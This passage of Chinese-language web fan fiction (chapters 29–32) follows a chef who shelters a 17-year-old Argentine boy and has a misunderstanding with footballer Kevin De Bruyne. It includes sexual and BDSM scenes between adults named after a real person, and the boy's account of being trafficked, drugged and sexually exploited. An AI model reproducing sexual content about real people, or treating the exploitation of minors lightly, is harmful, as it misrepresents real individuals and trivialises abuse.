“哟!很可以啊!”克里奇利看着那些一块两块的零钱赶紧夸他,把不应景的那句讽刺咽了下去,如果说比不了你扭臀选美赚的凤毛麟角,那就是他父母的做派。 克里奇利咬了一口三明治,觉得这三明治实在是又贵又不好吃,这一口下去就是一万起,但他现在饿了,这一口来的还挺及时。 到现在为止,还没给孩子做一顿像样的饭菜呢,倒是经常夜不归宿,喝多了吐还有忙的忘了吃饭时被这个不会做饭的“小天使”反哺,想想自己也跟个没长大的孩子似的。 现在感到一身轻的他就算养个崽也高兴,虽然这个崽快成年了,而且不知道经历了什么,动不动就往他的床上爬,还时不时的说要报答他的话,每次都被他戳着脑门赶下床,再重申一遍规矩。 “托马斯,去收拾一下餐桌,我给你做点好吃的。”克里奇利说着从冰箱里拿出牛肉芦笋生菜扇贝等食材,稍微一加工,就变成一道雪花牛肉芦笋卷和椒盐扇贝生菜沙拉,还去阳台揪了几片薄荷和紫苏炸了一份香气飘飘的排骨。 托马斯看到这些食材像变魔术似的在他修长骨感的手指下切切抓抓直到被端上桌,惊讶的张大了嘴巴,一会看看菜一会看看克里奇利,严重怀疑这个大大咧咧随性而活的英格兰人可能是个扮猪吃老虎的神仙下凡要么就是什么圣体转世投胎。 让他惊讶的下巴都快掉下来的是克里奇利又掏出了他的手表放在了餐桌上,随后拿起一瓶香槟打开倒了一杯,给他拿了一罐可乐,邀请他共度晚餐。 托马斯刚来英国时看什么东西都好,他也享受过住五星级酒店吃米其林大餐的待遇,但没几天就画风急转直下,混迹在酒吧跌落在底层了,现在他又有种被宠的感觉了,他也要喝香槟,但被克里奇利眼神警告,只好悻悻的拿起可乐与他碰杯。 “布莱恩,你还有什么惊喜?这手表怎么拿回来的?你去了鸟鸣?” “不知道对你来说算不算是惊喜,我还拿回了你的包还有这个。” 克里奇利把一个蓝色的小本子放在了桌上。 “噢天哪!我的护照!”他又本能的冒出了西语。 “你见到我叔叔了?” “很遗憾,我没见到,边吃边说吧。” 克里奇利告诉他,你叔叔可能真的抛弃你了,不过没关系,有了护照我们可以做很多事情,比如我可以担保你留在英国,只要你乖乖的不要做违法乱纪的事,不然罚款是小事,信誉受损是大事。 托马斯像个听话的小学生,坐在那一边吃着好吃的饭菜一边听着他一口好听的有那么点难懂的英语,神情一会紧张一会出神一会又欢心雀跃,直到吃完饭他看克里奇利懒散的叼了根烟,他立刻拿起打火机给他点上。 一团白烟从口中呼出,克里奇利看出他好像有什么心事,于是语气缓和的安慰道,“也不要因为你叔叔不要你而难过了,你有手有脚也可以在英国混下去,有我在,就不会让你流落街头。” 托马斯低垂下眼睛,手里摆弄着打火机,语气有些忐忑,声音也是极低的从嗓子里发出,就像一缕青烟害怕人闻见又不得不说,“那个,布莱恩,谢谢你。” 克里奇利摆摆手。 “下午有人来找你,我忘了和你说。”他觉得有必要坦白,不然会觉得内心过不去,克里奇利对他这么好,自己不应该乱干涉他的生活。 “哦?” “一个金发有点小帅的男人,年纪大约30岁上下。” “谁呀?”克里奇利在脑子里搜索30岁左右的金发男人,还有点帅,不会是他吧。 “呃…” “凯文德布劳内?” “嗯。” “什么?”克里奇利身子往前一倾,像被电击了一下后背,眼睛眨也不眨的盯着托马斯的脸,还真是他。“他有没有说什么?” “啊…他很生气。” “为什么?” “因为我…” “你说什么了?” “我说你不喜欢年纪大的,喜欢…” “喜欢你这样的年轻小屁孩?” “呃…”托马斯低下了头。 “我的天,托马斯,你可真是个魔鬼。” 克里奇利唰的站起来,抓起他的大衣就出了门,一边走一边看手机,果然有一个德布劳内的未接来电。 “等等。”托马斯拉住他的胳膊,“你要去哪?” “别管我的事,大人之间的事!” 看着他急匆匆的好像被火点着了一样的冲出去,托马斯瘪了瘪嘴,心里感到不是滋味,他靠在门框上,鼻子泛了酸,他不想说对不起,只觉得刚被撑起的一片天又塌了。 克里奇利打了个车前往德布劳内家,在车上打电话不方便,于是发了个信息给他。 [德布劳内先生,吃饭了吗?] 等了半天他没回。 克里奇利看到他家对面的商场有一个eous领带世家,他走进去选了一条大理石纹的领带,想用来弥补托马斯带给他的言语伤害,随领带还赠送了几支迎春花。 这个时候他也收到了德布劳内的回信。 [怎么?你要上岗啊?] [是的,我就在你家楼下。] [上来吧。] 德布劳内认定了他是来赚钱的,刚从客场回来,就迫不及待的要加班打工养小狗了。 再见面的时候,克里奇利穿着一个立领的羊毛大衣,里面是一件深蓝色的衬衫,看着像刚从big office下班回来,手里还拿着一把小黄花还有一个精致的礼盒。 人模狗样。德布劳内盯着他的脸,眼神中闪过一丝轻蔑,如果说之前靠的是感觉,那么现在的克里奇利就是一个伪君子,表面对钱持不稀罕的态度,实际上各种巴结讨好有钱人的青睐,赚着看似高尚的良心钱,实际上根本没底线没节操。不过怎么赚钱那是他的事,本来德布劳内也不在乎,但是他居然拿自己的钱去养小白脸,对方还是个孩子呢。 死变态。德布劳内抿了抿嘴唇,给他开了门就转身去了客厅,一语不发的好像在酝酿什么东西。 “这是我在利物浦给你买的礼物,我觉得它很适合你。” 说着,克里奇利就把领带礼盒还有一把小黄花递给他。 “跟我家楼下那个领带世家一个样,他家逢春就送迎春花,你有心了。” 德布劳内接过来看也没看就放在茶几上,他现在觉得克里奇利就是一个彻头彻尾的大骗子,骗财骗色骗小孩,是时候给他点教训教他怎么做人了。 克里奇利有些心虚的挠挠头,没想到送礼物都能碰壁,想来也是自己愚笨,在兔子窝边上采草给他,还不被他咬一口。 他没再说什么,考虑到现在已经快8点了,德布劳内没吃饭一定很烦躁,先伺候好他的胃再说。 “老板,你想吃什么?” “随便。” 德布劳内手里碾着那条好看的深色纹理的领带,觉得他审美还可以,他戴应该更符合他大尾巴狼的气质。 克里奇利打开他家的冰箱,摇了摇头,只有一些酒水和速食品,巧妇难为无米之炊,做什么给他吃呢。 “你也不买点爱吃的东西,我赚你的钱对付你有点心虚啊,这顿免费。” “你还心虚?这不就是你想要的吗?” “什么?” “没什么。”德布劳内觉得他殷勤的有点过了,要是真有诚意不想昧着良心赚钱就该提前买好食材,而不是过了饭点还来打卡这几个小时的兼职。 好在有面包,香肠,鸡蛋,奶酪这些每个人都会储备的东西,还有一根黄瓜。 他用黄瓜炒鸡蛋香肠给他做个三明治吃,结果被德布劳内一把把黄瓜抢了去,接着抽了他屁股一下,说,“这个等会再用。” 克里奇利失笑,心想,虽然我是来登门道歉的,也不能再让你攻了,黄瓜也不行。 德布劳内吃了一口他五分钟就“对付”给他的三明治,他只是用黄油煎了一下香肠和吐司而已,怎么可以这么香,自己买的西班牙火腿一直都是直接啃,从来没下过锅,被他煎炒了以后口感鲜甜有韧劲儿,他真的是擅长玩火之人。 不过这三明治再好吃也不能上万,就不能给他点脸,“一般吧”,德布劳内说着,然后几口就塞完了,接着从酒架上选了一瓶威士忌,打开倒了两杯。 “这可是你开的啊。”克里奇利端起了酒杯。 “嗯,快喝,喝完了陪我玩个游戏。” “艾斯爱慕啊?” 第30章 德布劳内洁白如瓷的…… 德布劳内洁白如瓷的手指捏住那只漂亮的圆锥形高脚杯,举起来在他眼前晃了晃,语气带着几分懒散,“美酒品鉴家,尝尝陈酿威士忌够劲儿不?” “我的舌头可是顶级配置,鉴酒品茗找我就对了。” 德布劳内现在看他越发不着调,更是对他的言语腔调表示不屑。 “事实上,我今天来是要对你说声对不起的。”克里奇利接过那只高脚杯,忘了过舌头一口闷了,没想到度数不算高的威士忌经过了珍藏后变得浓郁干烈,冲的他差点没咳出来,接着就感到了胸腔的灼热感。 “道歉的话等干了这三杯再说。” 德布劳内不是有意要灌醉他,就是想治他的滑头。 不知不觉就处在下风向的克里奇利以为他要喝酒助兴,这对身经百战的酒场惯犯来说绝不在话下,即使他知道自己酒量酒品都不咋地,喝多了更是六亲不认,但今天也得有点诚意不是。 连干了三杯后,他就不在乎自己有什么歉意了。一场误会而已,解不解释全看心情,一会好好伺候一下这只30岁上下有点小帅的大橘猫才是正事。 小孩子才认错,做选择,大人不需要,特别是guys之间,简单来说,没有克里奇利搞不定的人和事,如果有,就搞两次。 “我的歉意都在行动里,德布劳内先生,你看上去比陈酿还烈。” 他起身双腿交叠一个翻路障的动作就从狭长的餐桌上越过去了,酒精的作用和德布劳内有些过分的盯看让他气势瞬间高昂了起来。 他一手抓住德布劳内的左肩,另一只手就抚上了他的脸颊,上了几步就把他顶在了身后的橱柜边,逼迫德布劳内不得不用手撑住台面来站稳脚跟。 这回说什么也不能让位置了。 他的吻如雨点般砸了下来,没有试探,没有含蓄,也没有一点要道歉的意思,而是带着他一贯的热情奔放和不怕挨揍的自信,游刃有余的撬开对方抿的紧紧的嘴唇,把口中烈酒的芳香毫无保留的渡给了他。 辛辣中带着一丝果木熏香的味道,在他们唇齿交互中被慢慢浸染品尝。 在撕扯中差点就被他的吻给打乱了节奏扰乱了心神的德布劳内,在马上要被他托到台面上时猛地清醒过来,他今天的目的是什么,绝非被经验丰富的大尾巴狼牵着鼻子走,他才是这场游戏的主导者。 “等等,我不是说要玩个游戏吗?你急什么?”德布劳内把胳膊横在他胸前,抵住了他伸长的脖子。 “噢,好,乐意奉陪。”克里奇利听话的放开钳住他腰身的大手,抱着肩膀等待着他的指令。 不知道为什么,克里奇利似乎对德布劳内没有抵抗力,大概是上帝在创造他时给他下了一个一看到金发碧眼的美男子就眼晕的魔咒,让他一直沉迷在耀眼的金色中无法抵抗。 德布劳内竟然拿来一副手铐,面无表情的向他走来。 克里奇利大概猜到他要玩什么,但看着一向清冷自持的人主动挑起事端还是眼睛一亮,酒劲儿似乎清醒了几分。 “噢我的先生,你喜欢玩这个?”他语气里全是笑意,一边搓着手一边迎上去,看起来像找到了播放小电影的按钮,一脸的兴奋和期待。 德布劳内晃了晃手里的金属制品,发出哗啦哗啦的响声,接着伸出手去好像很放心的要把自己的手腕交给他。 白嫩到几乎看得清皮下血管的手臂在冰冷金属镣铐的衬托下,令人血脉喷张的一场狂欢在克里奇利的眼前一闪而过。 他虽然是个混圈老手,也见过不少世面,但是一向用自身魅力就可以轻松获得不少资源的顶级top,说实话玩的并不多,现在被一眼看上去就内秀一百分的德布劳内主动邀请,竟然还有点小害羞。 反正是铐他,一会轻点打他意思意思就行了,他这么想着,毕竟还要给他道歉家里的小崽子言语冲撞了他,不过道歉的话现在说出来不是时候,会破坏了这撩人的气氛。 谁知他刚把手伸过去准备去拿手铐,突然被德布劳内一脚踹了脚踝,力度不大但足以让他劈叉,这个黄牌动作十分不友好,别说他这个门外汉,就是职业足球运动员也得被这一脚立刻踹翻。 没顾得上喊疼,他接着就被德布劳内一把抓住手掌,压住手指向后掰过去,接着咔哒一声,他被铐在身后奢华的意大利巴洛克风格的实木置物桌上。 “啊嗷!”他这才发出一声惨叫,是屁股狠狠着地带给他的痛楚和手腕被勒痛的错愕。 他用另一只手好不容易支起上半身,揉着胯骨,眉头紧皱的看向这个突然?*? 袭击他的人,语气不平稳的说道:“我知道你有这个癖好,但是为什么?一定要这么的不温柔,这跟你温文尔雅的外表反差太大了!” “我向来不好说话,而且脾气很臭,但我知道好歹,遇到你这样的人就忍不住要出手教训教训你。” “什么?你说清楚!我是怎样的人,我可不是斗M?” “披着羊皮的狼。” “不是,德布劳内,你是不是对我有什么误解。” “一会再说吧。” 德布劳内又拿出一副手铐扔给他,让他把另一只手也铐在桌子腿上,他说:“你开玩笑呢?我才不听你的,赶紧给我解开,我跟你好好掰扯掰扯,你对我误解可大了。” 德布劳内笑了笑,扬起了手中的皮鞭,接着给了他一个居高临下不容置疑的眼神。 铐还是不铐,克里奇利也懵了。 他不会真下手打我吧? 啪的一声,一鞭子抽在他大腿上,这一下更是把他抽的困惑起来,“喂,你搞错了。” “快点!下一鞭子我可就使劲儿了啊!” 克里奇利无语了。不过,看着德布劳内水蓝的眼睛里没有杀气,好像只是想得到一些屈服他的回应,那就陪他演一会吧。 克里奇利觉得玩这个总得有让步的一方,他应该不会乱来的。 于是他捡起地上的手铐,把自己两只手铐在一根桌子腿上,桌子很高,而且中间有个横着的木条支撑,这样他就被迫双手举高铐在自己的头顶,坐在地上,后背靠着一根桌子腿,杀伤力大大减弱。 克里奇利知道自己要说些什么来争取被温柔以待。 他说:“我替我家的托马斯多明戈斯向你郑重道歉,他不该说那样的话,你一点都不老,还又帅又可爱。” “少来这一套,现在知道求我了。” “我没求你,我在跟你说实话,我在解释,凯文,哦不,Sir。” “我不买账。” “噢,别这样,凯文,他只是一个孩子。” “你也知道他只是一个孩子!” “不是,什么意思?他确实是…” 克里奇利开始解释这个小孩是他从大街上捡的,如果不收留他他就会… 没等他说完,德布劳内拿来桌上的领带,过来就又给了他一鞭子,趁他嗷的一声拿起他买的领带卷巴卷巴就塞他嘴里去了。 “呜呜…”克里奇利被剥夺了话语权不说,大腿上又挨了一鞭子,这一鞭子可比刚才疼多了。 “布莱恩克里奇利,本来我觉得你是一个聪明洒脱而且自信勇敢的人,而且对我来说,是一个很特别的人,因为一开始我对你的浪荡气质感到很不屑,但随着你加盟曼城尽心尽力的为我们的饮食下功夫,对每个球员的口味和喜好都愿意去了解,对我更是关照有加,我承认我有点改观,但是,你!你竟然拿我的钱去养小白脸,他还是个孩子呢!未成年吧!你可太不是个东西了!” 他终于知道德布劳内生的什么气了。真是荒谬!而且是超级超级无比巨大的误会,他明明是个好人啊,怎么被误解为一个真正的衣冠禽兽了呢。 “呜呜…呜…” “我现在就跟你玩艾斯爱慕,但是我手底下没数,你别介意,反正你也不是什么好人,咱们开始吧,你要是敢用你那狗蹄子踢我,我就把你当球踢。” 说着他就又抽了他几下,倒不是很疼,毕竟是道具又不是真的鞭子,但让克里奇利眼角泛红的是他的误会和曲解。 他真的做到了和他假装玩艾斯爱慕实际上把他往死里打,一边打还一边教育他,喜欢小年轻是不是?喜欢养金丝雀是不是?把我当冤大头,昧着良心赚我的钱去骗小孩还当做慈善呢!你个伪君子! 他越说手底下就越没数,刚才激烈亲吻的时候克里奇利的衬衫扣子被他拽开了几颗,现在呈现在他眼前的是克里奇利线条硬朗的胸口被抽的红一道白一道的,让他嗓子感到干涸,兴致也不可控制的高涨起来。 克里奇利汗流浃背,口水沾湿了塞在他嘴里的还带着阵阵迎春花香气的领带,眼前雾蒙蒙的,不知道他还要教训他多久,很好,就让他打个够。 他打的多过瘾,自己有多惨,他一会就有多后悔。 克里奇利想明白了,现在不是养儿子的事儿了,好像要给儿子找个妈咪了,这个教训法绝对把整天想着靠脸吃饭的逆子管的死死地。【你现在阅读的是魔蝎小说 moxiexs】 30-40 第31章 德布劳内打了一会儿…… 德布劳内打了一会儿自己也汗流浃背了,他双腿分跨在克里奇林的身体两侧,弯下腰用皮鞭柄挑起他的下巴。 他额头上渗出绵密的汗珠,一双湿漉漉的眼睛望向惩罚他的人,看上去很无辜,但德布劳内肯定这个眼神带着欺骗性,他就是用这双罪恶的眼睛勾走了多少少男的心。 教训他这么久也算可以了,他耐受力不错一点也没有反抗,更没有用他的狗蹄子来袭击自己,要知道虽然他被铐在桌子腿上,仍然可以踢人或者用蛮力把身后那个固定他的细木条拽断。 而且那团领带他也完全可以试着用舌头顶出来,他都没有这么做,只是隐忍的任由摆布。 德布劳内觉得惩罚的差不多了,他已经不像一开始时那么想要表现自己,解释自己,而是被教训的呈现着一种屈服美。 这种美并不是梨花带雨的示弱,也不是装可怜求饶,而是不做声响的抗争,好像积累着什么情绪,他一定有很多话想说,都印在他那双被泪水浸湿的双眸中,那样潮湿粘腻的看着他,有种提醒着执鞭者每打他一下就欠他好多钱的意味。 德布劳内头脑发热,只觉得自己被眼前真实的画面刺激的浑身坚硬,石更到发痛。 他把他嘴里的领带取出来。 克里奇利咬着牙说,“我劝你最好现在就给我堵上,否则一会儿我说的话将会让你跪下来。” “好啊,这可是你说的。” 德布劳内咬了咬嘴唇,犹豫了一瞬,接着身体向前倾去。 克里奇利愣了愣,发现自己根本没有说话的余地,谁能拒绝被热浪催熟而疯长的玉米杆子,在太阳地里凶猛的支起了一个遮阳伞呢。 那就让他的愧疚之意来的更猛烈一些吧。 有那么一瞬,德布劳内产生了不可名状的迟疑,自己原来也是这么的坏啊,借着惩罚的名义,对一个绝色top做出“压势”的举动,他竟然也没有任何抵触,就满足了自己乘势而为的野心,是对自己莫大的信任和纵容啊。 …… 风雨交加后,德布劳内在他身边缓缓坐了下来,伸手揪了揪克里奇利的衬衫领子,侧过头来看着他,经过了一番难以想象的震动,德布劳内微微的喘息像清风一样洒在了克里奇利的胸口,带给他阵阵凉意。 “玩够了?”克里奇利晃了晃手腕,金属桎梏下白嫩的手腕已经被摩擦的红肿不堪。 德布劳内从裤子口袋里摸出钥匙,举到他眼前晃了晃,警告他,“我现在给你打开,我信任你不会报复我,就像你在刚才的过程里选择信任我一样,你能做到吗?” “我发誓。” 德布劳内解开了手铐。 克里奇利双手搓了搓被勒痛的手腕,指了指自己的大腿。 德布劳内知道虽然隔着牛仔裤布料也能把他的大腿抽的青一块紫一块的,但是顺着他的手指看过去,就看到了因为没有拒绝自己的“堵嘴”行为而使一个正常的gay产生了正常的反应。 “呃……我不管,你先去洗个澡吧。”德布劳内觉得教训他教训的差不多了,让他洗个澡冷静一下,顺便冲去身上的粘腻,然后看心情是否要听他辩解什么,或者直接让他走人,以后别来了,他不想跟一个小崽子抢老烟枪,就算克里奇利长的再好看,做饭再好吃,也不可以脚踏两只船。 他脑补了一下,然后冷静的告诉自己,他脚踏几只船跟自己有什么关系,只要不做他的船就行。德布劳内打算恢复对他的初印象,不搭理他,不给他好脸色,也不再和他有任何瓜葛。 谁知克里奇利刚起身,就把自己一件一件的脱光了,从脖子到大腿像被猫挠了似的一道道的红印子,有的颜色深的是毛细血管破裂的出血点,看上去真是被德布劳内打的实惨。 “你的杰作。”他摊开手,表情反而有些得意。 “替天行道。”德布劳内面不改色心不跳。 “呵…”克里奇利笑了笑,“你可真是个天才,德布劳内,别以为我不敢动你,该换我了。” “休想。” “德布劳内,你在踢球的时候精明的像一个指挥家,实际上是一个糊涂蛋。” “少废话,洗完澡立刻离开。”德布劳内嘴上拒绝他,但满脑子都是他坐在地上仰着头的画面,说真的,他真有点舍不得这个放荡不羁的男人,就算他坏点又如何,他给自己的感觉超级棒,甚至多少带着些纵容,完全不像小自己几岁的人。 疲软的小猫很快就被持“枪”挟持,挣扎了几下就被蓄力已久的高大男人顶着腰身推进了浴室。 克里奇利单臂抱着他的肩膀,让他背对着自己站在倾泻的水帘里,闭着眼睛,把下巴搁在他的肩膀上,好听的英语像水珠一样在德布劳内的耳畔流淌,使他耳朵发痒,他把这段时间的经历一五一十的说给他听。 他说:“先生,你知道吗?我不喜欢把我的事都公开在台面上,当然也不喜欢别人误会我,认为我是一个无耻的混蛋,你更不可以,你是我遇到的所有人之中,我最想纵容的人。” “别给我说好听的,直接说重点,你说我误会你,来吧,编,编一个让我后悔的故事,让我为自己的误会买单。” “那我编了,你听着。” “托马斯是个gay不假,但不能因为他是gay就要忍受折辱,我带他回来的时候,他迷茫堕落的样子可比身上的伤痕严重多了。” “你?” “我的确做了很伟大的事。”克里奇利掰过他的肩膀,面对着他,手里拿着圆润的精油香皂在他胸前打出泡沫,“我不仅把他从几个要糟蹋他的小混混手里解救出来,我还再次把他从卖身的魔窟里捞出来,还了一笔无头债,当然我确实用了点拿不上台面的手段,不包括赚你的钱,你打给我的钱都在余额里,我只是象征性的收一下,以防你不好意思。” “好了,别编了,我洗完了。”德布劳内突然不想听下去了也拒绝相信他的鬼话,但他说的无比真诚,听上去不像编的,而且他越听越觉得双膝发软,好想再次堵住他的嘴,让他别用话来拷打自己刚刚还理直气壮的心。 克里奇利把水关了,拿上浴巾把德布劳内裹住,自己则带着一身水汽,只是拿毛巾胡乱的擦了擦,再像小狗似的甩了甩湿发,还不忘照照镜子看看自己胸前的红印。 “我没怎么用力。”德布劳内有些心虚的小声说着。 “你还没用力呢?”克里奇利把手搭在他肩膀上,开始向他发难,“你那小破鞭子都快抽废了,你还没用力,幸亏我皮糙肉厚抗打,不然早被你打出血了。” “你不糙。”德布劳内抬起手摸了摸他的胸膛,指腹摩擦红痕让克里奇利倒吸一口凉气。 接着就被德布劳内吻上了嘴唇。 一个带着些许歉意的湿吻,让准备用言语攻击他的克里奇利感到莫大的抚慰。 克里奇利双手抱紧他,勒在怀里,加深了这个吻。 他们跌跌撞撞的一路吻着进了卧室。 德布劳内把他推倒在床上,跪坐在他身上。 克里奇利笑着抚上他的大腿,“我还没说完呢,你就跪下了。” “别说了,我承认我是有点情绪问题,但我不管你说的是真是假,反正我不道歉。” “没让你道歉,全当助兴。” 克里奇利翻身把他压在床上,扯过被子将自己和他笼罩,用尽温柔和体贴,照顾着这个任性又霸道的指挥官,让他一点一点打消对自己的误解,心甘情愿的接受他。 他一边抚摸着他白皙的锁骨,一边对他说着实话。 “我只是捡了一个17岁的自己而已,如果你不信,明天来我家,咱们当面对质。” “我不去,我不想跟一个小孩争宠。” “我的天哪,德布劳内,我说这么多你都听明白了没?他不是我的少年伴侣。” “嗯…”德布劳内不说话了,他心里想,我最好装听不明白,也就不用自责了。 夜已经很深了,克里奇利穿着德布劳内的阔版T恤裹上自己的大衣冒着初春的冷雨回家。 小家伙已经睡了,睡在他的床上。 他走过去把他轻轻抱起来放到了沙发上,这一下把他弄醒了。 他睁开眼睛看了一眼克里奇利,然后抓住他的衣服蹭了蹭他,轻声说,“不是你的味道,布莱恩。” “嗯,你以后要对自己的言行负责,知道吗。”克里奇利说完就震惊了,他真的是一个好爹,教育孩子的同时把自己也顺带教育了。 “噢。”小家伙又压上了密密沉沉的睫毛,抓住柔软的毛毯,在沙发上睡着了。 克里奇利闻了闻身上的白色T恤,想起T恤的主人送他到楼下站在细雨里,带着些许歉意的告诉他,“我误会你了,你是一个正直有尊严的人。” 他则俏皮一笑,说了一句让德布劳内瞬间红温的话,“我的尊严在你的玉米地里算个屁。” 第32章 是时候为托马斯办理…… 是时候为托马斯办理护照延期申请了,克里奇利咨询了律师,以担保人的身份带他去补交了罚款,又咨询了一些定居政策。 托马斯趴在柜台上,眨巴着那双水汪汪的大眼睛盯着工作人员的脸,一口西式英语战战兢兢的问道:“我可以申请英国国籍吗?” 工作人员是一个黑人女性,她看了看托马斯,忍俊不禁的回答他,“哦,多么漂亮的男孩子啊,如果我是劳工部负责人,一定会给你特批一个,但是你现在还是旅游照呢,申请英国国籍会是一个很漫长的过程。” 克里奇利拉着他到一边坐下,表情严肃的对他说,“你先别着急,咱们慢慢来。护照办好后,我们再想办法申请长期定居,你有了工作以后,这些事情都会迎刃而解的。” “可是叔叔说过可以的,只要我代表阿根廷赢得了世界先生,就可以留在英国,英国的娱乐圈业毕竟比阿根廷要发达的多,我需要双国籍,这会对我将来的发展有帮助的。” 克里奇利听了一脸震惊的看着他,没想到这个傻乎乎的小孩儿还挺有抱负的,他不是只有颜值没有脑子的小屁孩儿,他经历的人生可能比自己还要丰富,克里奇里不忍心打击他,于是对他说:“做什么事都要一步一步来啊,你现在拿着旅游照只能在英国观光,幸好有本英国人担保你,先办下来长期再说。” “我不想回去。”他抓住克里奇利的手,眼睛亮晶晶的看着他,就像一个饿极了的小狗。 克里奇利知道他并不想放弃自己阿根廷人的身份,仍然要代表阿根廷参加选美,但他不想回到那个噩梦开始的地方。 “你到底经历了什么可以和我说说吗?”克里奇利抽出手来,摸了摸自己的口袋,又扫了一眼大厅,暂时压住了烟瘾。 “我们出去说吧。”托马斯看出来他想吸烟,主动提出换个地方。 他们刚要出门就被那个工作人员叫住了,她对克里奇利招招手叫他们过去,然后对他们说,“我刚咨询了在劳工部的熟人,如果想要获得英国国籍的话,可以走特殊人才政策,比如在艺术体育方面有所建树,又或者可以办理收养或婚姻关系。” 说完,她抬头看了着克里奇利的脸,想笑又忍住了,克里奇利知道她什么意思,做伴侣太老当爹太小。 他对工作人员表达了感谢,然后领着托马斯走出了大厅。 工作人员又在他后面补了一句,“可不能造假啊,不然查出来你们都会被罚死的。” 托马斯把克里奇利当自己最信任的亲人,对他坦白了自己的身世。 他出生于阿根廷布宜诺斯艾利斯有名的维拉31贫民窟,父母没结婚,他出生时两个哥哥都大了,一个跟父亲擦鞋一个跟母亲做工,唯独没人愿意要他,从小被扔在奶奶家自生自灭,等他长到了能干活的年纪,就被母亲接走了,从此他又有了另一个家庭,母亲,继父和继父带来的哥哥。 他从11岁就开始打工,在酒吧卖过烟,巷子里捡过垃圾,餐馆里洗过盘子,16岁的时候,因为越长越漂亮,被一家高档餐厅选中做了服务员。 他很喜欢跳舞,特别是从酒吧里学到的那些脱衣舞。他想多赚些钱供自己去上学。有一次捡到一张报纸回家问哥哥这是什么意思,他的后哥哥欺负他不识字,告诉他这是高薪应聘家政,结果他去了以后才知道是同性恋裸男服务,被羞辱到只剩一条内裤的时候大喊着自己没成年才被放了回来,结果一分钱也没有赚到。 他很生气,回去质问哥哥,还被他哥哥嘲笑是一个白痴,连字都不认识。他把他那肥胖的连屁股都挪不起来的哥哥痛打了一顿,结果又被他继父用鸡毛掸子打出了家门,他母亲默默的看着这一切一句话也没有帮他说。 后来他为了多赚点钱在高档餐厅跳脱衣舞,被当值的经理怒批并要开除了他时,被他现在口中所称的叔叔给救了下来。 听完了这些之后,克里奇利感觉浑身发冷,好像掉进了一个冰窟,他把烟灭掉,搓了搓手,默默的牵着托马斯的手上了车。 托马斯还说他的叔叔叫埃里安,自称是阿根廷的一个富豪,给了他母亲1000万比索就把自己给买下来了,还带着他来到英国参加选美大赛,已经报名了,就在这个月15号参加集训,可直到现在也没有接到任何通知,他叔叔也不见了。 刚来的时候他住五星级酒店吃高档饭店,出行都有司机和化妆师,后来埃里安带他去酒吧,他喝了一杯饮料后就趴在桌上睡着了,等醒来的时候,埃里安就不见了,他一连在酒吧里等了好几天也没有等到,身上的钱也花光了,在酒吧临时跳脱衣舞才赚了一点生活费,再后来就被小混混拉到后巷里欺负,然后被克里奇利出手相救,他一直不明白的是他叔叔埃里安为什么会抛弃他。 克里奇利问他,什么酒吧。 他说就是普通的酒吧,男的跳舞,女的来看,然后往舞男裤子里塞小费,也有男的塞小费的,他的客户什么都有。 克里奇利扶额,也就是在曼城,要是在伦敦,说不定自己也塞给过他小费。 “那你打电话联系他了吗?” “打了,一开始他不接,后来他接了,告诉我,我没有商业价值了,我不懂,为什么我会突然没有商业价值了。” “他有没有对你做什么?” “有。他……” “他对你做了什么?” “什么都做了。” “然后说你没有商业价值了?” “嗯。” “什么鬼?他是什么妖魔鬼怪?玩够了?” 克里奇利怒砸方向盘,但他也想不明白,这个叫埃里安的到底是个什么人。 回到家以后,克里奇利还是给他倒了一杯温水,摸摸他的头,不忍心但又想搞明白事情的来龙去脉,也好想办法帮助他,于是问他,“这个埃里安到底是个怎样的人呢?” “我也不知道,他大约50几岁,看上去很儒雅,出手也很阔绰,还有几个和我一样大的男孩子在他手下,都很漂亮,但我觉得都没有我漂亮。” 托马斯英语不太好,和西语混着说,但也能表达的差不多,他喝了一口水,继续说:“一开始他对我很好,每天晚上都叫我去他房间,给他服务,还教我一些话术,比如有人问你为什么来参加选美,就说为了宣传阿根廷的旅游业,让更多的人认识阿根廷,了解阿根廷,所以我是在做一些时髦有意义的事。每次我说完,他都很满意的叫我过去,奖励我吃一些蓝色的糖,他说这是让我长高和增肌的营养品,然后很宠溺和我跳舞,他体力不太好,跳一会就累了,要不是他跳累了让我上床,我能跳一晚上。” “唉,别说了,我心脏要受不了了。”克里奇利越听越感到毛骨悚然,他这么放浪形骸的一个人都没50岁老头玩的花,那个埃里安搞不好是个银魔啊,那些蓝色的糖也可能是E丸。 “对了,我有件事还没说,我不太想说。” “我也不逼问你,但我觉得你叔叔不是什么好人,也许是因为你快成年了就不要你了,那些报名参加选美的都是狗屁,他把你带到另一个国家,玩够了就扔了,你可真…” 克里奇利想说他傻,又咽了下去,他只是一个社会底层经验丰富但还不懂得有钱人的手段和变态需求的小孩,被骗到异国他乡也不足为奇,1000万比索他查了一下才7000磅,但足以让一个贫穷的家庭过上一段时间富足的生活。 “算了,我还是告诉你吧,免得你以后也嫌弃我。我告诉你了之后,我也不奢望你可以收养我,我更不奢望你可以和我结为伴侣,我告诉你了之后,如果你想让我走,我可以走。” 他说完就趴在桌上哭了。 克里奇利听了心里也不是滋味,虽然他不想逼问他,但这可能是拨开迷雾的唯一原因了。 “好,你告诉我吧,我保证…” “别,你别保证。” 托马斯擦了擦眼泪,又看了一眼,放自己东西的那个橱柜,有些不舍的慢慢开口,“我可能是positive,我不知道英语是不是这样说,但那天拿回来的体检单子上面就是写着positive。” “Oh my god!”克里奇利听了差点没从椅背上撅过去,接着他尽自己最大努力保持镇静,可眼前的小家伙唰的一声站起来,走向他的橱柜,开始拿他的衣服,一件一件的把衣服往自己的包里暴力塞进去,一边收拾东西,一边说,“我不知道什么是positive,这是不是意味着我会死?” 克里奇利走过去,把他的衣服从他的手里夺下来,又把他的包倒过来,把他刚装好的衣物全都洒落在地上。他用力的拉起托马斯的手腕直奔就近的医院走去。 托马斯在他身后拼命的挣扎,一边挣扎,一边叫喊:“你放开我!我不要去医院!你不要管我,你和我什么关系都没有!” “你闭嘴,托马斯!再吵我就把你扔垃圾桶里去!” “呵,你背我回来的那天也是这么说,你为什么不早一点把我扔进垃圾桶里去?” 克里奇利转过来面对着他,双手握住他瘦骨嶙峋的肩膀,调整了一下情绪,尽可能平稳的对他说:“你还不懂positive是什么意思,我们去医院了解一下,然后该吃药吃药,该治疗治疗,不要有太大的心理负担,有的人活到老,老到五六十岁都没有因为这个而病发死去。” “可是你为什么要管我,我不想拖累你!” 